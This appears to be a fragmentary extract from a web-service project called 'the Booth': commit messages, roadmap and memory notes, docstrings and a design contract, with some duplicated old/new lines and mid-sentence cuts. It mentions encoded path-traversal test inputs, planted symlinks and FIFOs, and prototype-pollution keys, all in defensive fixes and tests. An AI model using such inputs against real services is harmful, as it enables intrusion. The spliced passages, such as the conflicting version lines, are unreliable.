escapes the dead marker's guard -- plus the refusal message the CLI prints and
the marker the board renders.

Both tests are written to go red under the exact change that defeats them: the
FIFO test blocks rather than fails if the regular-file check is removed, and
the control-character rows need their own case because %2e%2e and %2f stay
green without the clause.
 2026-09-22 13:30:22 -07:00
vh 1c3ce5ddb5 feat(u6): benches — a registry with identity, and the rule enforced 
The standing link board carried three jobs because only one of them had a
surface. Re-measured before contracting, its 221 rows split into 178 booth
announcements (156 already dead) and 43 non-booth rows, of which 8 are the same
bench re-posted. U5 gave the booth announcement a home; this gives the running
service one, and refuses the one shape that now has somewhere better to go.

- booth/benches.py (new, stdlib-only and sibling-free): the Bench record, URL
  normalization as the identity, a lenient read on the render path and a strict
  read on the write path, atomic replace under an flock, and a stated total
  order (state rank, name casefolded, id).
- links.booth_target: ONE predicate for "is this a booth URL", consumed by the
  CLI refusal, the board's dead marker and bench import. Host-agnostic,
  path-shaped, percent-decoded, never raises.
- booth link refuses a booth URL, names `booth new --why`, and writes nothing —
  not the row, not the board directory, not the announcement.
- The board marks rows whose booth has been swept. Nothing here deletes a row:
  removal stays the operator's two clicks through the existing bulk control.
- booth bench add|ls|state|rm|import. import writes nothing without --apply and
  never edits links.md.
- docs/archive/links-2026-09-22.md: the board archived verbatim into git.

Identity is the FULL normalized URL, not the origin, and that was measured:
origin identity collapses the 43 non-booth rows to 19 groups by merging eight
distinct gitea repositories into one row, three unrelated HuggingFace model
cards into one, and the two LRPG surfaces on 10.100.10.50:8321 — the design
doc's own example of two real benches — into one. Full-URL identity still
collapses both cases that doc names: talk 5 to 1, Peedlar 3 to 1.

booth link is NOT deprecated. Roughly 14 of the 35 distinct non-booth targets
are reference bookmarks for which the board is the right and only home; the
design doc's plan to deprecate it would have evicted a third of its live
content. Corrected there, along with what "normalized URL" means.

The seam review found three real defects in the contract before any code: the
claim that test_stdlib_only already forbids sibling imports (it exempts `booth`
on purpose), naming resolve_booth as the dead marker's existence check (it
raises HTTPException(404), so one swept booth would have 404'd the whole board
page), and silence on percent-encoding (booth links are emitted through
quote(name, safe=""), so a raw comparison marks every encoded booth dead
forever). That both list_booths and sweep_once skip the registry was verified
against the real functions rather than assumed.

444 -> 555 tests. Deployed and verified live: 23/23 booths 200, and the board
renders 156 dead of 221 rows, matching an independent pre-implementation count.

NOT TAGGED: both cold gates are in flight (contract review
01M35BWCJ806MT75NA630Y4WFH, code review 01M35CK8YKEKMV7T15JXEF6A8N) and the
bug-hunt has not run. Per the v0.2.0 lesson, the tag waits for the gates.
 2026-09-22 13:25:32 -07:00
vh 91fd8bc69d memory: snapshot — U3 released at v0.5.0, pushed and deployed 
First push of this repo's history: main was 26 commits ahead of origin/main, so
v0.2.0 through v0.5.0 all reached the Gitea remote in one motion. A future
session can assume a remote exists, which no earlier one could.

Records the open defect U3 found and deliberately did not fix -- a well-formed
.marks.json with a wrong-shaped answer 500s the gallery and marks pages,
measured at 42ea67f so it predates the unit -- and marks it explicitly as
awaiting an operator decision with no issue filed, rather than letting it sit in
a detail file nobody is routed to.

No recommendation is recorded for the next unit. U6 and U7 are genuinely
independent and close different defects; the last two before a 1.0 cut are a
scope-direction call.
 2026-09-22 13:00:34 -07:00
vh 7996fbd597 chore(release): v0.5.0 — U3, the declared embed seam 
Minor rather than patch, and the tie-break rule says default to patch, so the
reason is worth stating: a capability arrived AND one left. Report authors gain
a declared public API -- one line, `<script src="/_booth/embed.js" defer>`, plus
the `data-booth-mark` anchor syntax -- and the verbatim path loses
no-JavaScript operation, which it had since it existed.

That asymmetry is what makes it not a tie. Either half alone would have been
defensible as a patch.

Operator approved 2026-09-22.
 2026-09-22 12:58:35 -07:00
vh 5c20e2f4d5 fix(u3): seven defects two cold panels found in the declared seam 
The /heid-code-review and /heid-bug-hunt panels, artifact-only over the U3
diff, between them found four real defects and three vacuous falsifiers. Both
snapshots predate the contract-review fixes, so two of their findings were
already closed; the rest are here.

Prototype pollution in the placement maps. A mark id and a question key are
both [A-Za-z0-9][A-Za-z0-9._-]*, so `toString` and `constructor` are legal in
each. Against a plain `{}` an anchor naming NO mark returned an inherited
function, passed the guard meant to reject it, and threw on .questions.length
-- aborting placement before the tail, so one typo in author markup cost the
page every ask. The `placed` set had the mirror bug: inherited
`got.constructor` read as already-placed and silently dropped a question.
Object.create(null), three times. Found independently by both panels.

A declaring page was not served as written. read_text() opens in
universal-newline mode, so a CRLF report came back LF, and errors="replace"
replaced every byte that was not valid UTF-8. That is this unit's headline
promise, broken by the read itself, and the test could not see it because its
fixture was LF-only ASCII. The verbatim branch reads and serves bytes now; the
decoded copy answers only "does it declare the seam?".

A submit anchor inside the author's own <form> lost ours -- the parser drops a
nested form element outright -- while the code still recorded the pick as
submitted, so no fallback was appended. Every control's form= pointed at
nothing and the button did nothing. It counts as submitted only if the form
survived.

A broken pick's diagnostic never rendered from a submit-only anchor: an errored
pick's submit block is empty, and mounting that then marking it placed made the
tail skip the "broken ask" box entirely. The anchor is left alone instead.

An author's own element could hijack the open-ask chip -- id="bk-ask-winner-
background" satisfies any prefix rule, hyphen boundary included. The chip now
searches only elements this script mounted, which is the identity the deleted
bk-ask-<id>-top anchor used to guarantee, and takes the earliest by
compareDocumentPosition.

No error boundary around fragment rendering. A .marks.json that is well-formed
JSON with a wrong-shaped answer hydrates with no error and then raises in the
macro; this endpoint renders every pick on every load of the report, so that
was the whole seam gone while hold_read called the file readable. Reproduced
before building for it. _safe_fragments gives it the per-mark leniency
_hydrate_safe already applies one layer down.

The gallery and marks pages still 500 on that same entry. Measured at 42ea67f
-- it predates this unit, they render the same macro with no guard, and the
gallery is named out of scope in the contract. Recorded, not quietly widened:
persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md

Also corrected: several comments claimed a multi-question pick POSTs a 400
unless every question is answered. It does not -- an empty submission is
refused, a partial one is recorded on purpose. The real reason an unplaced
question must still be appended is that a question which never reaches the page
cannot be answered at all.

Vacuity pass rebuilt around the rule this session learned: the mutation comes
from the invariant's claim, never from the falsifier's example. 21 mutations,
21 caught, unmutated control green. Getting there took three rounds -- it
passed INV-3 with the contract's own mutation, then found its own fix's hole,
then flagged seven stale mutations and one genuinely vacuous fixture whose
sibling-mark arrangement made the right answer also the first answer.

444 tests. Deployed and verified: 23/23 booths 200, and all four live verbatim
reports served at exactly +46 bytes -- len(EMBED_SCRIPT_TAG) -- with the
authors' own wrappers and headings intact and no console errors.
 2026-09-22 11:22:37 -07:00
vh 87e2c5364c feat(u3): a verbatim report declares the seam, the Booth mounts into it 
A booth that ships its own index.html was served through ten regular
expressions applied to markup the Booth did not write: six in
wrap_verbatim_html hunting for somewhere to hang a favicon and a chip, four
in booth/inline.py substituting rendered ask markup into the author's own
tags. Both worked. Both were the most fragile thing in the service, on the
path the operator uses most.

The whole class is replaced by a declared seam. A report carries one line —
<script src="/_booth/embed.js" defer></script> — and the chrome mounts
through DOM APIs. What the server does to author HTML is now, in full:

    return html if declares_embed(html) else html + EMBED_SCRIPT_TAG

Two substring tests and a concatenation. Both of the old wrapper's hard
constraints stop existing rather than being satisfied more carefully:
nothing can displace a leading doctype into quirks mode and nothing can push
the charset meta out of its detection window, because nothing in front of
them ever moves. A page that declares the seam is served exactly as written.

Fragments are still rendered by the _ask_inline.html macros and handed over
GET /b/<name>/embed.json; embed.js places them and decides nothing. Openness
comes from open_marks, order from (created, id), questions in declaration
order. A single-question pick normalizes to key None, so the payload carries
questions as a list rather than an object — keying by name would serialize
that as the string "null".

Placement is an anchor fill, not a replacement: el.insertAdjacentHTML(
'beforeend'), so an author's wrapper and its contents survive. The regex it
replaces was eating the opening tag of dfa-concepts' styled .ask blocks and
orphaning their headings, live, unreported.

data-booth-mark is canonical; data-booth-ask stays a kept alias because two
live reports use it. The comment placeholders are dropped — no users.

Declared cost: the verbatim path now needs JavaScript. The never-invisible
guarantee holds through the index badge and /b/<name>/marks, both of which
render server-side.

Deleted: booth/inline.py entire, wrap_verbatim_html and its six patterns,
_BACK_CHIP, asks_chip, inject_asks, FAVICON_LINK, the styles() macro.

Tests 410 -> 434. tests/test_embed_browser.py drives a real Chromium: the
placement algorithm and the form= binding of a scattered multi-question form
cannot be observed any other way, and that binding was measured rather than
assumed (N=3 per condition, with a form-first positive control and a
points-at-nothing negative control).

Contract: docs/contracts/u3_declared_embed_seam.contract.md, with the
in-session seam review and the cold contract panel both recorded. Two of the
panel's findings were code fixes: a vacuous INV-3 falsifier that a renamed
regex walked straight through, and a bare-substring seam detection that read
a report merely quoting the path as declaring it and silently served it with
no chrome.

vh 42ea67f33f memory: snapshot — U4 released at v0.4.0, next unit undecided 
Current state rewritten for the post-U4 position: 410 tests, v0.4.0 tagged,
tree not pushed, all three gates closed. Carries the session's U3 recommendation
with its three grounds AND its counter-argument, so the operator can take the
call without reloading the unit.

The methodology-proposals row goes from three to four and is now marked
explicitly untracked by operator choice — the new one is the contract-time
vacuity pass, which is the only one of the four with measured evidence behind
it after five of seven U4 falsifiers turned out not to discriminate.
 2026-09-22 10:06:30 -07:00
vh 8f81d8f9d0 memory: no fleetwide notice for U4, and the measurement caveat it creates 
Operator decision 2026-09-22: no broadcast to the 17 consuming handles. Same
posture as U5 — adoption gets told apart from design because nobody was primed.

The consequence is a measurement one and it needed writing down before it was
lost. U4's two halves have different adoption costs: the hold rides for free
(a session runs `booth ask` and its booth is held, knowing nothing), but NOT
pressing `keep` has to be learned. So a flat `.forever` rate on 2026-10-06 is
exactly what 'the mechanism works and nobody was told' looks like, and reading
it as a falsification would retire a correct diagnosis on an uncontrolled
measurement.

Records the three counts to report instead, and states the sensitivity floor:
only 4 of 24 booths carry marks at all, so the hold can touch at most a sixth
of the fleet and an effect below one or two booths is not resolvable.

### 2. The filesystem is the state
No database. `ls ~/booth-data` tells you everything the service knows.
Per-booth operator state is a **dotfile inside the booth**: `.forever` (keep),
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred` (one
rel per line), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
`.viewed` (last deliberate look — U4's "viewing is activity"), `.blurred.json`
(the per-item blur set, a JSON ARRAY — see below; the legacy `.blurred` is
read-only), `.seen` (R2: rels looked at full size, a JSON ARRAY), `.blurbooth` (the whole booth fogged — a MARKER like `.forever`, not
JSON, because a boolean has no rels to round-trip), `.marks.json` + `.marks.lock` (judgment), `.pins` (link-board pin
ids), `.uploaded` (upload-booth marker). `booth_items()` skips `name.startswith(".")`, so a new
dotfile costs nothing in item counts, galleries or zips. That skip is why the
dotfile is the right shape for new operator state — use it rather than
inventing a sidecar-per-item.
⚠ **A dotfile that holds rels is a JSON array, opened `O_NOFOLLOW |
O_NONBLOCK` with an `S_ISREG` check and a size cap.** A rel may carry a leading
space or a newline, and line-stripped storage does not round-trip it: `.blurred`
was one stripped rel per line, and blurring `" a.png"` blurred `a.png` instead.
`.seen` was written as JSON for exactly that reason (design-dev, R2), and the
blur set now matches it in `.blurred.json` (`booth/blur.py`). The open flags
mean a planted symlink is refused and a FIFO cannot hang the read, which is the
outage in `persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md`. **Any new
dotfile inherits that shape.**
⚠ **A format change gets a NEW NAME, never a sniffed file.** The first cut of
the blur fix wrote JSON into `.blurred` and guessed the format from the bytes;
a legacy file whose one line is an item literally named `["a.png"]` parses as
JSON and blurs the neighbour, the bug being fixed (heid bug-hunt, 3 of 3). So
`.blurred.json` is JSON only, the legacy `.blurred` is lines only and read only
while `.blurred.json` is absent, and the first write retires it. Do not remove
that legacy read while a line-format file can still exist.
**Reads lenient, writes strict; and a writer is judged by its reader.** The
renderer's `read_blurred` turns anything it cannot read into an empty set,
because a damaged file must cost the blur and never the page. The writer
builds on `_load`, the same parse, which REFUSES instead: a regular file it
cannot read (a permission, over the cap, not JSON) is never overwritten with a
set that forgot what it held. That is the `.marks.json` wipe again, and the
blur writer shipped without the guard for a night. After writing,
`set_blurred` re-reads and raises `BlurUnwritable` unless the reader returns
exactly the set asked for. The route answers either refusal with 409, never
500.
**A dotfile with two writers has ONE implementation of the writer, and one
predicate for its keys.** The blur set is written by the service and by `booth
blur`; both call `booth.blur.set_blurred`, and both ask `check_rel` what an
item path is. The CLI used to keep a grep/printf writer and a `*..*` guard of
its own, which refused `a..b.png` where the route accepted it.

forbids something. This repo shipped that three times before the tool existed
(twice in one session, once an hour after writing the entry about it). Tables
live in `tests/mutations/*.toml`, one per unit, committed so a unit's proofs are
an artifact rather than scrollback; adding a unit means adding a file, never
editing the script. `tests/test_mutation_check.py` holds the tool's own positive
and negative controls, because an instrument that only ever sees unknowns cannot
tell "nothing wrong" from "I am blind".

run it. A falsifier nobody has run is a claim, not a test.
`tests/test_embed_browser.py` drives a real Chromium against a real uvicorn on
an ephemeral port — the only place U3's placement and `form=` binding can be
observed at all. Browsers are NOT downloaded per project; they live box-wide in
`/opt/ms-playwright`. The file **skips rather than fails** when playwright or a
usable browser is missing, so the suite stays green anywhere. If those tests
start skipping on this box, the pinned `playwright>=1.60,<1.63` in
`pyproject.toml` has drifted past the shared store — read the comment there
before raising the bound.

# The Booth — roadmap
Design: [`docs/design/information-architecture.md`](docs/design/information-architecture.md).
Current version: `0.4.0` (U1, U2, U4 and U5 landed; extracted from eshpfi 2026-09-21).
Current version: `1.0.0b1` (**U1 through U7 landed**; extracted from eshpfi
2026-09-21).
⚠ **THE BETA'S PREMISE IS SUPERSEDED AND THE TAG CANNOT BE UNSAID.**
`v1.0.0b1` was cut 2026-09-22 promising "feature-complete, no new features, the
remaining work is bugs." On 2026-09-23 the operator ruled a flow redesign and
compare mode into the arc, which are emphatically new features. **The tag stays
as written** — it is an immutable record of what was believed at the time, not a
claim about now — and no further pre-release is cut until the arc lands.
Dropping back to an alpha is not available: `1.0.0a2` sorts BELOW `1.0.0b1`, and
versions do not go backwards.
🛑 **RULED 2026-09-23: NO `1.0.0` YET.** Verbatim: *"no v1.0 yet."* The tag
stays at `1.0.0b1`, no further pre-release is cut until the arc lands, and the
arc now includes the flow redesign, compare mode and the Desk revisions still in
flight. Do not cut a release because the suite is green and the roadmap looks
complete — it has looked complete twice already.

🛑 **OPERATOR RULING 2026-09-23 — THE OWNERSHIP BOUNDARY MOVED, AND IT MOVED
OUR WAY OUT.** The first concept round was ruled **NOT ship-as-shown**:
*"He didn't go far enough, still looks like the booth. I want him to consider
the flow and the requirements — design touches, layout, usability all belong
to him."* **Flow, layout, usability and the REQUIREMENTS are design-dev's.**
The information architecture is no longer fenced off from him: what belongs on
which page, what groups with what, what the rail counts and whether a rail is
the right object at all are his calls to propose and build.
⚠ **The fence was OURS, and it is what produced a reskin.** The handoff said
*"what we are not asking for: layout changes driven by information
architecture"*, and design-dev's *"markup changes are class additions only, no
reordering"* was that constraint honoured. The ruling corrects the brief, not
his round. **That paragraph is void — do not restate it.**
What survives is two tiers, deliberately separated because collapsing them is
how we over-fenced the first time. **Tier 1, correctness not taste:**
deterministic order (an operator directive — the RULE may change, but not into
"whatever the layout yields"), autoescape, blur keeps admitting it is
cosmetic, restart discipline. **Tier 2, engineering defaults WE chose and he
may now argue with:** the gallery working with JavaScript off, virtualization
parked, compare mode deferred. Tier 2 disputes go to the operator, not settled
between agents.
⚠ **The `/vor-ui` brief this row used to require was DECLINED, and rightly.**
The row predates `docs/design/information-architecture.md`; with that doc, the
landed templates and the seven handoff constraints in hand, a `/vor-ui` pass
would have cost the operator a serial Q&A to re-derive IA we had already
measured — the exact operator-load this project exists to reduce. The handoff
message is the brief. If the design system ever wants the IA different,
design-dev raises it and we re-measure rather than either side guessing.
Settled with it: **we merge and restart** (the deployment root stays in one
pair of hands); design-dev works on `svos-retheme` in his own clone against a
COPY of `~/booth-data`, never touching `:8090`; a concept round goes to the
OPERATOR before any fixup. Webfonts arrive by Google Fonts `<link>` with
`display=swap` and a system fallback stack — the CDN-free property was
accreted, not an invariant, and self-hosting is a v1.1 item because
`v1.0.0b1` promises no new features.

"""Benches: a running thing, registered.
A bench is NOT a booth and NOT a bookmark. It is a durable middle-to-long-term
testing surface — jackdaw's current bench, talk's current bench, the things that
get promoted to Homepage when they are fully deployed. The standing link board
absorbed the job because it was the only surface on offer, and an O_APPEND log
with no identity turns "here is the bench again" into a fifth row rather than an
update: `talk` is on the board five times and Peedlar's root three.
STDLIB ONLY, AND SIBLING-FREE, ON PURPOSE. `scripts/booth` imports this through
a `python3 -c` heredoc under the system python3 with no venv, exactly as it
imports `marks`, `asks`, `links` and `manifest`. A third-party import breaks
`booth bench` on every fleet host; a `from booth.links import ...` breaks it on
any host where both modules are not importable together, which is a second way
for the same invariant to fall. `tests/test_benches.py` forbids both.
SINGLE-WRITER, MANY-READER — the opposite shape from `links.md`. The board is a
multi-writer append log because seventeen agent handles post to it at once. This
is the operator in one browser plus occasional CLI calls, so it is one file,
rewritten whole under a lock, replaced atomically. Inheriting the append-log
design here would be the mistake CLAUDE.md names by name.

live board's 43 non-booth rows by origin yields 19 groups; by full URL, 35.

one, and the two LRPG surfaces on `10.100.10.50:8321` merged into one —

identity still collapses both cases that doc names: talk 5 → 1, Peedlar 3 → 1.
WHY THE QUERY IS IN AND THE FRAGMENT IS OUT. Three ShutterChute rows on the
board differ only by `?token=`; they are three genuinely different one-shot
links, and dropping the query would merge them into a bench that is none of

"""Inline ask placement inside a booth's VERBATIM index.html.
A booth that ships its own `index.html` is served untouched, so the auto-gallery
template's asks panel never renders there. The first fix was a chip linking to a
separate `/asks` page; the operator's verdict on that (2026-09-09) was that the
question belongs WITH the artifacts it is about — a four-voice audition wants the
radio group for each voice under that voice's audio, not on another page.
So the report author marks where each piece goes, with a placeholder element:
<div data-booth-ask="anchors"></div> the whole ask: every question + submit
<div data-booth-ask="anchors:lawson"></div> just that question's radios
<div data-booth-ask-submit="anchors"></div> the notes field + submit button
Per-question fragments bind to ONE form via the HTML5 `form=` attribute, so four
groups scattered down a page still submit as a single POST — which is what a
multi-question ask requires (every question or 400). No JavaScript.
An `<!-- booth:ask anchors -->` comment works the same way, for authors who would
rather not put an empty div in their markup.
Placement is OPTIONAL. A page with no placeholders gets the whole ask appended at
the end of its body, so an ask is never invisible — that guarantee is the point,
and marking it up only moves it somewhere better.

that refuses a shape the board then fails to mark as dead (or the reverse)
is two readers of one truth, which is the bug this repo has now paid for
three times. `tests/test_benches.py` runs one table through every caller.
HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is
`/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the
fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and
`nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse
from whichever name somebody used next — a rule that fails OPEN on the exact
case it exists to catch. The accepted cost is that a third-party URL with a
`/b/<x>` path reads as a booth link; that failure is visible (a refusal
naming the reason) rather than silent, and no such URL is on the board.
THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
`quote(name, safe="")`, so a booth whose name needs encoding appears on the
board encoded. Comparing the raw segment against a directory name would mark
every such booth permanently dead and echo the encoded form back at the
poster in the refusal message.
The returned name passes the SAME addressability rules `resolve_booth`
enforces (non-empty, no leading dot, no separator, no `..`), so the two

{# r2b D1b — a booth's two dates, defined ONCE for the Desk row and the booth
header. Created is the day it began (the filesystem's birth time); updated
is how recently its CONTENT moved (`landed_at`, the clock "new since you
looked" reads). Each is a <time> with its exact stamp as the title.
- A date the filesystem cannot give, or the calendar cannot hold, renders
NOTHING — never a plausible guess, and never a 500 for the whole Desk.
- "Updated" shows whenever it differs from "created" by a minute or more,
EITHER way: copied files keep their mtimes while the folder is born now,
so content can be older than its booth. Within a minute, one date.
- A content clock AHEAD of now (a wrong clock somewhere) is said as its
date, never as an age — "updated just now" would be a lie. #}

{# There IS a × here now (operator, 2026-09-21). The old rule was
release-then-find-it-in-the-other-lane, on the theory that two
deliberate acts protect durable boards. In practice it protects
nothing and costs a hunt: the board you just released is loose in a
feed that turns over, and you have to go find it to finish the job
you had already decided on.
The protection now lives in the CONFIRMATION, not in the number of
lanes you must traverse — this one names the booth and says the word
KEPT, where the ephemeral × just asks. A deliberate act, one click,
reachable.
Release still exists and is still the reversible option. Note it
BUMPS the directory mtime, so the board's age resets and it survives
another full TTL — unkeep-and-wait is a 24h delay, not a delete,
which is exactly why a direct × was worth adding. #}
{# ⚠ BOTH OF THESE WERE position:absolute ON THE SAME CORNER, and `release`
is the later sibling, so it painted over the × completely: measured
30x22 px of overlap on a 30px button, and elementFromPoint at the ×'s
centre returned the release form. The × was unclickable from the day
it shipped.
One flex row, positioned once, instead of two independently guessed
offsets — so neither control can drift back on top of the other when
a label changes width. #}

"""Derived thumbnails, cached inside the booth.
MEASURED, not assumed. ROADMAP parked progressive loading on "the largest
gallery is 66 images; at that size a lazy grid is almost certainly fine" — which
counted IMAGES and never weighed BYTES. The live set on 2026-09-23:
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
sindra-sfw-pool 59 images 71.7 MB
sindra 30 images 61.6 MB 2.1 MB average
A tile renders a few hundred px wide, so the gallery shipped roughly 16x the pixels
that reach the screen and 77 MB on one page load. 66 is a fine count sitting on
a terrible payload; the operator found it in about a minute of using the Desk.
The cache lives at `<booth>/.thumbs/<rel>.<rule>.webp` (see `thumb_path`),
inside the booth on purpose, so it is swept with the booth and never outlives
what it describes. And because it is inside the booth, where any fleet session
can write, every entry on the way to it may be planted: the cache directories,
the cache file and the temp file are each checked or created so that a link,
a directory or a planted file cannot redirect a write or pose as a thumbnail. Both
`booth_items` and `zip_booth` skip every dot-prefixed path COMPONENT, which they
did not do until this module needed them to.

# Standing link board — verbatim archive, 2026-09-22
Captured before U6 (benches) shipped, per the ROADMAP rule that a migration
destroys nothing. 221 rows: 178 booth URLs (156 of them pointing at booths
already swept) and 43 non-booth rows, 35 distinct after normalization.
U6 itself deletes NOTHING — the dead rows are marked and removal stays the
operator's two clicks. This archive exists so the board is recoverable
off-box once he starts pruning, and so the measurements above are checkable
against the bytes they were taken from.

contract_version: "0.2-BUILT"
status: "BUILT 2026-09-23 on design-dev/svos-retheme (C1-C7, TDD), awaiting heid code-review and bug-hunt before the hand-over to booth-dev. PROPOSED 2026-09-23 by design-dev. Ruled by the operator the same day in the `flow` mark on booth-flow-concepts (direction a_b; compare MODE to be built in this arc; voice plain; emblem no), relayed via Miranda → booth-dev, verbatim at docs/rulings/. Compare mode is NOT in this contract: it lands after this one as r3, as a view toggle over the same item record."
module: "booth.app + booth.items + templates (the review flow)"
purpose: "Make the Booth a place where judgment happens rather than a place where files are shown. The operator's bar is 'did anything change when I opened it'. A reskin cannot clear that bar; this contract changes the flow. There are three surfaces and one plumbing change. THE DESK: the index triaged by what needs the operator. THE LIGHTBOX: a booth page with the set on the left and the verdict beside it. THE REVIEW: full size with the judgment on screen, a filmstrip, and seen-tracking. The plumbing is IN-PLACE JUDGMENT: a mark POST that does not reload the page or eject you from full size."
depends_on:
- "booth.items.booth_items + Item (INV-1: the one resolver). Item gains `ordinal`, derived there and nowhere else."
- "booth.items.image_chain (the zoom ring). SUPERSEDED for the review route by `review_chain`; image_chain stays importable and unchanged for its existing callers and tests."
- "booth.app._newest_mtime (THE definition of activity — booth-dev, 2026-09-23). It feeds lifetime; the Desk no longer sorts by it (amended 2026-09-23, §3). The Desk's 'landed since you looked' is a DIFFERENT question and gets a DIFFERENTLY NAMED helper; see INV-5."
- "booth.app.record_view / VIEW_MARKER (`.viewed`, U4). The Desk reads its mtime to answer 'new since you looked'."
- "booth.app.hold_read / hold_reason / open_marks (INV-2 of U2: the one openness predicate). 'Needs you' is `open_marks(...)` non-empty, or `hold_reason(...) == \"unreadable\"` (C4); nothing else."

# R2 — the review flow: the Desk, the lightbox, the review
## The requirements this answers (from the round-2 README, uncorrected by the operator)
| # | requirement | answered by |
|---|---|---|
| 1 | show me what needs me | the Desk's *needs you* section |
| 2 | picking winners is the main judgment | the lightbox's flag tray; F in the review |
| 3 | flag without losing my place | in-place judgment + `back=view` |
| 4 | position is identity (within the set as it is now — not a durable id) | `Item.ordinal`, printed on every tile |
| 5 | the question stays beside the work | the verdict aside (sticky) |
| 6 | reports keep their author's layout | verbatim path untouched |
| 7 | listening sets are real | `review_chain` includes audio and video |
| 8 | lifetime is not an organising principle (it is still SHOWN as a fact on each row; it no longer GROUPS or SORTS) | the Desk drops the kept/ephemeral lanes |
## Terms used below
- **Reticle**: the SVOS selection mark in base.html — four corner brackets drawn
inside a box. It marks the one current or selected thing and nothing else.
- **Tape**: a row of small segments, one per item in the review ring, each
showing *seen*, *flagged* or *current*.
- **Stage**: the area of the review page where the artifact itself renders.
- **All Booth state files are dotfiles.** That covers `.marks.json`
(MARKS_FILE), `.viewed`, `.blurred`, `.seen`, `.forever`, `.pins`,
`.booth.json` and every `*.lock`. "Non-dot entries" means the posted content
and nothing the Booth or the operator wrote.
## Components
### C1 — `Item.ordinal` (items.py)
`ordinal: int` is the item's 1-based position in `booth_items(booth)`, i.e. in
`sorted(rel)` order over **all** items. It is assigned in the resolver loop, so
no route derives it.
- `ordinal` is **appended** as the dataclass's last field, never inserted.
Mid-dataclass insertion is a positional-construction break, and `group` has
already had that conversation.
- The resolver's `quote()` guard on non-UTF-8 names stays exactly as it is. It
looks like a stray `try` around a discarded result, but it is what keeps one
0xff filename from taking down the index for every booth.
- An item skipped by that guard takes no ordinal, so ordinals stay contiguous
over the items that render.
- **A filter never renumbers.** Under `?filter=flagged` a tile still shows the
number it has in the whole set. That is the point: "#07" is a property of the
item, not of the view.
- **A new file renumbers everything after it.** That is honest, and it matches
the order: the operator's positional references are to the set as it is now.
### C2 — `review_chain` and `.seen` (items.py, app.py)
- **`review_chain(items)`**: the rels of items whose kind is image, video or
audio, in item order. ONE LINE: *the item order filtered to media.* It
replaces `image_chain` as the review route's prev/next ring.
- It is a **declared change** to the zoom-ring rule. Today's ring is images
only. A booth mixing images and audio now rings through both, in set order.
- `image_chain` stays for its callers and tests.
- **`SEEN_FILE = ".seen"`**: a UTF-8 JSON array of rels. Not one rel per
line, `.blurred`'s shape: a file name may contain a newline, and a line format
would split one such rel into two, neither of them real.
- Written by `record_seen(booth, rel, items)` from the review route, below the 404s
and gated on the item record — the same gate `record_view` has.
- Each write rewrites the whole file: the previous set plus `rel`, minus
rels no longer in `booth_items`, sorted. It is deduplicated and pruned, so
it never grows past the booth's item count.
- Atomic replace, per the Booth's CLAUDE.md invariant 5 ("sidecar writes are
atomic"), not this contract's INV-5.
- Seen is keyed by rel. A file replaced at the same path stays seen; a
deleted file drops out at the next write, and every count below
intersects with the current `review_chain`.
- **The review route ALSO calls `record_view` (existing U4 behaviour,
unchanged).** So reviewing a booth at full size refreshes "you looked" for
the Desk exactly as opening its grid does. `.viewed` and `.seen` never
disagree about whether you looked at the booth; `.seen` only adds WHICH
items.
- NEVER RAISES, like `record_view`: failing to record a look costs the
marker, not the page.
- `read_seen(booth) -> set[str]` is lenient and NEVER RAISES. It opens without
following a symlink and without blocking, reads only a regular file of at
most 1 MiB, and keeps only the array's string members. Anything else — a
link, a FIFO, a directory, an oversized, malformed or too-deeply-nested
file — reads as the empty set. `.seen` sits in an agent-writable directory, and a planted FIFO
must not hang the review route.
- `items` is the route's own `booth_items` result. It is passed in so that the
prune ("minus rels no longer in `booth_items`") costs no second walk.
- **Seen is UI state, not judgment.** It is not exposed in `marks.json` and it
holds nothing.
- It adds no lifetime RULE. Being a dotfile, its write does move
`_newest_mtime`. So does the `.viewed` write on the same request, so a
review page ages a booth exactly as it does today.
### C3 — in-place judgment (app.py, base.html)
**`wants_json(accept: str | None) -> bool`** takes the raw `Accept` header, so
it is a pure function a test can call directly. It is True **only** when the
header, split on commas, contains an entry whose media type, parameters stripped, is
exactly `application/json` and whose q-value is absent or greater than 0.
- Absent, empty, `*/*` or `application/*` → False.
- `application/json;q=0` → False. A client that explicitly refuses JSON gets
the redirect.
- A near miss such as `application/jsonx` → False.
- **Every entry is parsed before anything is decided.** One unparseable
entry anywhere, before or after a good one, makes the whole header False.
- Any header that fails to parse → False. A q-value that is not a finite
number (`q=nan`, `q=inf`) fails to parse.
- **It fails toward the 303.**
The four mark routes (`/answer`, `/note`, `/flag`, `/unmark`) perform the same
write as today, then:
- `wants_json` → **204 No Content**.
- otherwise → today's `_mark_redirect(...)`, **byte-identical**: same status,
same `Location`, same body.
**`back=view`** is a new landing for `_mark_redirect`, carried by the review
route's forms together with `f=<rel>`. It lands on
`/b/<name>/view?f=<quote(rel)>#rail`. This fixes the JS-off bounce too:
today's zoom flag form carries no `back`, so it lands on the gallery.
- `back=view` lands on the review only when `f` names an item in
`review_chain`, i.e. a media item. For anything else (a doc, a missing rel,
an empty `f`) the landing falls back to the booth page, exactly as a form
with no `back` does today. `doc.html` carries no forms, so no shipped page
sends `back=view` with a doc.
- The URL is built server-side from `name` + `quote(f)`, never echoed, so this
is not an open redirect.
**The client**: one small script in base.html, bound to forms marked
`data-inplace`.
1. POST the form with `Accept: application/json`.
2. On 204, GET the current URL and replace **every** element carrying
`data-region="<id>"` with the same-id element from the response.
- The rule is "every region whose content can depend on marks is a
region".
- On the lightbox: the verdict aside, each tile, the rail (its filter
counts change when you flag), and the header's open count and lifetime
line (`booth-status`).
- On a booth with marks but no set: the panel (`marks-panel`).
- On the standalone marks page: the header's open count (`booth-status`)
and the panel (`marks-panel`), one region around both its states so
answering the last mark away swaps in the empty state.
- On the review: the rail, the filmstrip and the tape.
- The stage is never a region: replacing it would restart a playing video
or audio track.
- A TILE (`item-*`) absent from the response is left alone and never
deleted. Deleting it would shift every tile after it under the reader's
eye. It is marked `is-stale` so it does not pass for current:
un-flagging under `?filter=flagged` is the case. The next navigation
drops it.
- Any OTHER difference in structure — a non-tile region in the response
that the page lacks, or one the page has that the response lacks — or a
